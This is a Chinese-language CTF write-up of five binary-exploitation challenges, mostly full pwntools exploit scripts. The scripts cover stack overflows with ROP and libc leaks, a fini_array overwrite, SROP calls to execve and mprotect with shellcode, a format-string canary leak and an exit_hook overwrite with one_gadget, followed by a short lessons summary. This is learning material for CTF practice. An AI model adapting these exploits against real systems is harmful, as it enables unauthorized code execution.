Controller
考点是整数溢出和scanf函数的引发的栈溢出漏洞,泄露libc地址将返回地址覆盖成one_gadgets拿到shell。
1 from pwn import * 2 3 p = process(['./pwn'],env={'LD_PRELOAD':'./libc.so.6'}) 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 8 pop_rdi = 0x004011d3 9 og = [0x4f3d5,0x4f432,0x10a41c] 10 11 p.recvuntil('recources: ') 12 p.sendline('-1 -65339') 13 p.sendlineafter('> ','2') 14 p.recvuntil('problem? > ') 15 16 payload = 'a'*0x20+'bbbbbbbb' 17 payload+= p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts']) 18 payload+= p64(elf.symbols['_start']) 19 p.sendline(payload) 20 p.recvuntil('ingored ') 21 libc_base = u64(p.recvuntil('x7f').ljust(8,'x00'))-libc.symbols['puts'] 22 print 'libc_base-->'+hex(libc_base) 23 shell = libc_base+og[0] 24 25 p.recvuntil('recources: ') 26 p.sendline('-1 -65339') 27 p.sendlineafter('> ','2') 28 p.recvuntil('problem? > ') 29 30 payload = 'a'*0x20+'bbbbbbbb' 31 payload+= p64(shell) 32 p.sendline(payload) 33 p.interactive()
Minefield
程序保护如图:
程序有一个任意写,并且有后门函数。
- 当
RELRO
保护为NO RELRO
的时候,init.array、fini.array、got.plt
均可读可写; - 为
PARTIAL RELRO
的时候,ini.array、fini.array
可读不可写,got.plt
可读可写; - 为
FULL RELRO
时,init.array、fini.array、got.plt
均可读不可写。 - 程序在加载的时候,会依次调用
init.array
数组中的每一个函数指针,在结束的时候,依次调用fini.array
中的每一个函数指针。
程序在执行的时候,流程如下图:
简单地说,在main函数前会调用.init段代码和.init_array
段的函数数组中每一个函数指针。同样的,main函数结束后也会调用.fini段代码和.fini._arrary
段的函数数组中的每一个函数指针。
所以这道题,思路就是直接打.fini_array数组,让指向后门函数,在main函数执行完之后就会执行后门函数,就可以拿到flag了。
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 context.log_level = 'debug' 6 7 p.sendlineafter('> ','2') 8 p.sendafter('mine: ','6295672') 9 p.sendafter('plant: ','4196715') 10 p.recv() 11 p.recv()
System dROP
此题有点坑,我换了三种方法都没做出来。
程序很简单,就只有一个read函数,但是程序端存在syscall ret。
我很自觉的就想到srop了。这里我说一下我用的3种方法:
1.通过read函数的返回值给rax,让syscall调用write函数泄露libc版本,用one_gadgets打。
2.用srop调用execve拿shell。
3.用srop调用mprotect将bss段赋予可执行权限,自己写shellcode来拿shell。
exp1:
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context(os='linux',arch='amd64',log_level='debug') 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 12 pop_rdi = 0x0004005d3 13 pop_rsi_r15 = 0x004005d1 14 buf = elf.bss()+0x100 15 syscall = 0x0040053B 16 main = elf.symbols['_start'] 17 leave_ret = 0x0040056E 18 og = [0x4f365,0x4f3c2,0xe58b8,0xe58bf,0xe58c3,0x10a45c,0x10a468] 19 ret = 0x0040056F 20 21 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0) 22 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read']) 23 payload+= p64(main) 24 p.send(payload) 25 payload = p64(pop_rdi)+p64(0) 26 payload+= p64(pop_rsi_r15)+p64(buf+0x100)+p64(0) 27 payload+= p64(elf.plt['read']) 28 payload+= p64(pop_rdi)+p64(1) 29 payload+= p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0) 30 payload+= p64(syscall) 31 payload+= p64(pop_rdi)+p64(0) 32 payload+= p64(pop_rsi_r15)+p64(0x6011c0+8)+p64(0) 33 payload+= p64(elf.plt['read']) 34 p.send(payload) 35 36 payload = 'a'*0x20+p64(buf-8)+p64(leave_ret) 37 p.send(payload) 38 p.send('a') 39 libc_base = u64(p.recv(6).ljust(8,'x00'))-libc.symbols['read'] 40 print 'libc_base-->'+hex(libc_base) 41 system = libc_base+libc.symbols['system'] 42 binsh = libc_base+libc.search('/bin/sh').next() 43 shell = libc_base+og[1] 44 45 payload = p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system) 46 47 payload = p64(shell) 48 p.send(payload) 49 p.interactive()
exp2:
1 from pwn import * 2 3 p = process('./pwn') 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context(os='linux',arch='amd64',log_level='debug') 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 12 pop_rdi = 0x0004005d3 13 pop_rsi_r15 = 0x004005d1 14 buf = elf.bss()+0x150 15 syscall = 0x0040053B 16 main = elf.symbols['_start'] 17 leave_ret = 0x0040056E 18 19 sigframe = SigreturnFrame() 20 sigframe.rax = constants.SYS_execve 21 sigframe.rdi = buf 22 sigframe.rsi = 0 23 sigframe.rdx = 0 24 sigframe.rsp = 16 25 sigframe.rbp = 0 26 sigframe.r8 = 0 27 sigframe.r9 = 0 28 sigframe.r10 = 0 29 sigframe.rip = syscall 30 31 #payload = p64(start_addr)+'a'*0x8+str(sigframe) 32 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0) 33 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read']) 34 payload+= p64(main) 35 p.send(payload) 36 37 payload = '/bin/shx00' 38 payload+= p64(pop_rsi_r15)+p64(0x6011d0+8)+p64(0) 39 payload+= p64(elf.plt['read']) 40 payload+= p64(pop_rsi_r15)+p64(buf+0x200)+p64(0) 41 payload+= p64(elf.plt['read'])+p64(syscall) 42 p.send(payload) 43 44 payload = 'a'*0x20+p64(buf)+p64(leave_ret) 45 p.send(payload) 46 p.send(str(sigframe)) 47 p.send('a'*15) 48 p.interactive()
exp3:
1 from pwn import * 2 3 p = process('./pwn') 4 #p = remote('46.101.23.157',32462) 5 elf = ELF('./pwn') 6 context(os='linux',arch='amd64',log_level='debug') 7 8 def duan(): 9 gdb.attach(p) 10 pause() 11 12 pop_rdi = 0x0004005d3 13 pop_rsi_r15 = 0x004005d1 14 buf = elf.bss()+0x150 15 syscall = 0x0040053B 16 main = elf.symbols['_start'] 17 leave_ret = 0x0040056E 18 ret = 0x000040056F 19 20 sigframe = SigreturnFrame() 21 sigframe.rax = constants.SYS_mprotect 22 sigframe.rdi = buf&0xFFFFFFFFFFFFF000 23 sigframe.rsi = 0x1000 24 sigframe.rdx = constants.PROT_READ | constants.PROT_WRITE | constants.PROT_EXEC 25 sigframe.rsp = buf 26 sigframe.rip = syscall 27 28 #payload = p64(start_addr)+'a'*0x8+str(sigframe) 29 payload = 'a'*0x20+'bbbbbbbb'+p64(pop_rdi)+p64(0) 30 payload+= p64(pop_rsi_r15)+p64(buf)+p64(0)+p64(elf.plt['read']) 31 payload+= p64(main) 32 p.send(payload) 33 #00400541 34 payload = p64(0x0400541) 35 payload+= p64(pop_rsi_r15)+p64(buf+0x50)+p64(0) 36 payload+= p64(elf.plt['read']) 37 payload+= p64(pop_rsi_r15)+p64(buf+0x200)+p64(0) 38 payload+= p64(elf.plt['read'])+p64(syscall) 39 40 p.send(payload) 41 42 payload = 'a'*0x20+p64(buf)+p64(leave_ret) 43 p.send(payload) 44 p.send(str(sigframe)) 45 p.send('a'*15) 46 shellcode=asm( 47 ''' 48 xor rsi,rsi 49 mul esi 50 push rax 51 mov rbx,0x68732f2f6e69622f 52 push rbx 53 push rsp 54 pop rdi 55 mov al, 59 56 syscall 57 ''' 58 ) 59 payload = shellcode.ljust(0x28,'x00')+p64(ret)+p64(ret)+p64(ret)+p64(0x601168) 60 p.send(payload) 61 p.interactive()
比较遗憾的是,这三种方法都是本地可以拿到shell,远程拿不到。未解之谜,不知道为什么拿不到shell。。。
上面三个exp的共同点是,都是执行了两次main函数或者start函数。有师傅告诉我说一次性搞定,别再重启程序。我贴一下main函数的汇编,惊奇的发现,在执行完read函数之后,竟然有mov eax,1的操作。。。如此一来,就不用利用read函数的返回值给rax赋值就可以调用write函数了。(果然,做系统调用的题还是得多看汇编)
如此一来,就是先用系统调用泄露libc版本,然后调用read函数在bss段写one_gadgets,再栈转移过去执行拿shell。
exp:
1 from pwn import * 2 context.log_level='debug' 3 4 p = process('./pwn') 5 elf=ELF('./pwn') 6 libc=ELF('./libc.so.6') 7 8 pop_rdi=0x0004005d3 9 pop_rsi_r15=0x0004005d1 10 syscall_ret=0x40053b 11 leave_ret=0x000040056e 12 og = [0x4f365,0x4f3c2,0x10a45c] 13 14 payload='a'*0x20+p64(0x601138)+p64(pop_rdi)+p64(1)+p64(pop_rsi_r15)+p64(elf.got['read'])+p64(0)+p64(syscall_ret)+p64(pop_rdi)+p64(0)+p64(pop_rsi_r15)+p64(0x601140)+p64(0)+p64(elf.plt['read'])+p64(leave_ret) 15 p.sendline(payload) 16 libc_base=u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))-libc.symbols['read'] 17 shell = libc_base+og[1] 18 print 'libc_base-->'+hex(libc_base) 19 20 payload=p64(shell) 21 p.sendline(payload) 22 p.interactive()
Harvester
格式化字符串漏洞泄露canary和libc版本,栈溢出覆盖返回地址拿shell。
1 from pwn import * 2 3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"}) 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 8 og = [0x4f3d5,0x4f432,0x10a41c] 9 10 #leak canary 11 p.recvuntil('> ') 12 p.sendline('1') 13 p.recvuntil('> ') 14 p.send('%11$p') 15 p.recvuntil('is: ') 16 canary = int(p.recvuntil('00'),16) 17 print 'canary-->'+hex(canary) 18 19 #leak libc_base 20 p.recvuntil('> ') 21 p.sendline('1') 22 p.recvuntil('> ') 23 p.send('%21$p') 24 p.recvuntil('is: ') 25 libc_base = int(p.recv(14),16)-231-libc.symbols['__libc_start_main'] 26 print 'libc_base-->'+hex(libc_base) 27 shell = libc_base+og[0] 28 29 p.recvuntil('> ') 30 p.sendline('2') 31 p.recvuntil('> ') 32 p.sendline('y') 33 p.recvuntil('> ') 34 p.sendline('-11') 35 36 payload = 'a'*0x28+p64(canary)+'bbbbbbbb'+p64(shell) 37 p.recvuntil('> ') 38 p.sendline('3') 39 p.recvuntil('> ') 40 p.send(payload) 41 p.interactive()
Save_the_environment
可以直接拿到libc地址,有一次任意写的机会,直接打exit_hook为one_gadgets拿到shell。
因该是非预期了,因为有一次任意读没有用到。而且这个存在一定的偶然性,因为我提前知道了libc版本,即使我本地的环境也是2.27,但是在找exit_hook的时候,还是费了很大劲。原因是因为小版本的libc地址和ld地址的距离不一样,不过好在差距都是差0x1000的倍数,好找一点。
1 from pwn import * 2 3 p = process(['./pwn'],env={"LD_PRELOAD":"./libc.so.6"}) 4 elf = ELF('./pwn') 5 libc = ELF('./libc.so.6') 6 context.log_level = 'debug' 7 8 og = [0x4f3d5,0x4f432,0xe546f,0xe5617,0xe561e,0xe5622,0x10a41c,0x10a428] 9 10 for i in range(5): 11 p.sendlineafter('> ','2') 12 p.sendlineafter('> ','1') 13 p.sendlineafter('> ','n') 14 15 libc_base = int(p.recvuntil(']')[-15:-1],16)-libc.symbols['printf'] 16 print 'libc_base-->'+hex(libc_base) 17 exit_hook = libc_base+0x619060+3840 18 shell = libc_base+og[7] 19 print 'exit_hook-->'+hex(exit_hook) 20 free_hook = libc_base+libc.symbols['__free_hook'] 21 malloc_hook = libc_base+libc.symbols['__malloc_hook'] 22 print 'free_hook-->'+hex(free_hook) 23 environ = libc_base+libc.symbols['environ'] 24 ''' 25 for i in range(5): 26 p.sendlineafter('> ','2') 27 p.sendlineafter('> ','1') 28 p.sendlineafter('> ','n') 29 p.recvuntil('want. ') 30 p.send(str(environ)) 31 stack = u64(p.recvuntil('x7f')[-6:].ljust(8,'x00')) 32 print 'stack-->'+hex(stack) 33 attack = stack-288 34 print 'attack-->'+hex(attack) 35 ''' 36 p.sendlineafter('> ','1') 37 #p.sendlineafter('> ',str(exit_hook+8+0x2000)) 38 p.sendlineafter('> ',str(exit_hook+8)) 39 p.sendlineafter('> ',str(shell)) 40 p.interactive()
小结
1.学习到了fini.array的利用。
2.做系统调用的题多看汇编。
3.exit_hook好用,但是偏移得在实际环境种慢慢调试。
4.libc_base+libc.symbols['environ']中会存在栈地址,可以用来泄露栈地址。
后记
没有学到堆利用,但是巩固了栈的很多知识。感觉还不错,就是熬夜做题太伤身体了。。。